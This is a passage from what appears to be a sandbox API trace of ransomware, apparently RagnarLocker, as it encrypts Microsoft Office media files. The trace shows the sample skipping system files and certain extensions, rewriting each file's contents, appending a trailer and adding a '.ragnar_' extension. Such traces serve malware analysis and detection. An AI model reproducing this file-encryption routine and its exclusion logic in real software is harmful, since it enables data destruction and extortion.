Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf")) returned 0x20 [0095.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.558] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9112) returned 1 [0095.558] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x238f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.558] GetProcessHeap () returned 0x580000 [0095.558] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.558] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2398, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.559] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.559] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.559] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2398, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2398, lpOverlapped=0x0) returned 1 [0095.560] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.560] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2398, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.560] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2398, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2398, lpOverlapped=0x0) returned 1 [0095.560] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2398, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.561] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.561] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2398, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.561] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.561] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.561] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.561] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.561] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.561] GetProcessHeap () returned 0x580000 [0095.561] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.561] CloseHandle (hObject=0x104) returned 1 [0095.561] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" [0095.561] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.ragnar_FD7BD9FC" [0095.561] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.562] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0095.562] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.562] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0205466.WMF" | out: lpString1="J0205466.WMF") returned="J0205466.WMF" [0095.562] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF") returned=".WMF" [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="autorun.inf") returned 1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="boot.ini") returned 1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="bootfont.bin") returned 1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="bootsect.bak") returned 1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="bootmgr") returned 1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="bootmgr.efi") returned 1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="bootmgfw.efi") returned 1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="desktop.ini") returned 1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="iconcache.db") returned 1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="ntldr") returned -1 [0095.562] lstrcmpiW (lpString1="J0205466.WMF", lpString2="ntuser.dat") returned -1 [0095.563] lstrcmpiW (lpString1="J0205466.WMF", lpString2="ntuser.dat.log") returned -1 [0095.563] lstrcmpiW (lpString1="J0205466.WMF", lpString2="ntuser.ini") returned -1 [0095.563] lstrcmpiW (lpString1="J0205466.WMF", lpString2="thumbs.db") returned -1 [0095.563] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.563] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.563] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.563] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.563] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.563] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.563] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf")) returned 0x20 [0095.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.563] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4578) returned 1 [0095.563] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x11d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.564] GetProcessHeap () returned 0x580000 [0095.564] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.564] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.565] VirtualAlloc (lpAddress=0x0, dwSize=0x11e2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.565] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.565] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.565] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11e2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x11e2, lpOverlapped=0x0) returned 1 [0095.566] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.566] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11e2, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.566] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11e2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x11e2, lpOverlapped=0x0) returned 1 [0095.566] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11e2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.566] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.567] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x11e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.567] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.567] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.567] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.567] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.567] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.567] GetProcessHeap () returned 0x580000 [0095.567] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.567] CloseHandle (hObject=0x104) returned 1 [0095.567] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" [0095.567] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.ragnar_FD7BD9FC" [0095.567] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.568] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0095.568] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.568] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0205582.WMF" | out: lpString1="J0205582.WMF") returned="J0205582.WMF" [0095.568] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF") returned=".WMF" [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="autorun.inf") returned 1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="boot.ini") returned 1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="bootfont.bin") returned 1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="bootsect.bak") returned 1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="bootmgr") returned 1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="bootmgr.efi") returned 1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="bootmgfw.efi") returned 1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="desktop.ini") returned 1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="iconcache.db") returned 1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="ntldr") returned -1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="ntuser.dat") returned -1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="ntuser.dat.log") returned -1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="ntuser.ini") returned -1 [0095.568] lstrcmpiW (lpString1="J0205582.WMF", lpString2="thumbs.db") returned -1 [0095.568] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.568] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.568] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.569] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.569] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.569] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.569] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf")) returned 0x20 [0095.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.569] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6130) returned 1 [0095.569] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x17e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.569] GetProcessHeap () returned 0x580000 [0095.569] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.569] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.571] VirtualAlloc (lpAddress=0x0, dwSize=0x17f2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.571] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.571] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.571] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17f2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x17f2, lpOverlapped=0x0) returned 1 [0095.572] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.572] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.572] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17f2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17f2, lpOverlapped=0x0) returned 1 [0095.572] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.573] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.573] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x17f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.573] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.573] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.573] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.573] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.573] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.573] GetProcessHeap () returned 0x580000 [0095.573] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.573] CloseHandle (hObject=0x104) returned 1 [0095.573] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" [0095.573] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.ragnar_FD7BD9FC" [0095.573] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.574] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0095.574] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.574] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0211949.WMF" | out: lpString1="J0211949.WMF") returned="J0211949.WMF" [0095.574] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF") returned=".WMF" [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="autorun.inf") returned 1 [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="boot.ini") returned 1 [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="bootfont.bin") returned 1 [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="bootsect.bak") returned 1 [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="bootmgr") returned 1 [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="bootmgr.efi") returned 1 [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="bootmgfw.efi") returned 1 [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="desktop.ini") returned 1 [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="iconcache.db") returned 1 [0095.574] lstrcmpiW (lpString1="J0211949.WMF", lpString2="ntldr") returned -1 [0095.575] lstrcmpiW (lpString1="J0211949.WMF", lpString2="ntuser.dat") returned -1 [0095.575] lstrcmpiW (lpString1="J0211949.WMF", lpString2="ntuser.dat.log") returned -1 [0095.575] lstrcmpiW (lpString1="J0211949.WMF", lpString2="ntuser.ini") returned -1 [0095.575] lstrcmpiW (lpString1="J0211949.WMF", lpString2="thumbs.db") returned -1 [0095.575] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.575] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.575] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.575] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.575] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.575] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.575] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf")) returned 0x20 [0095.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0211949.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.575] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=45902) returned 1 [0095.575] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xb345, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.575] GetProcessHeap () returned 0x580000 [0095.575] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.576] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, 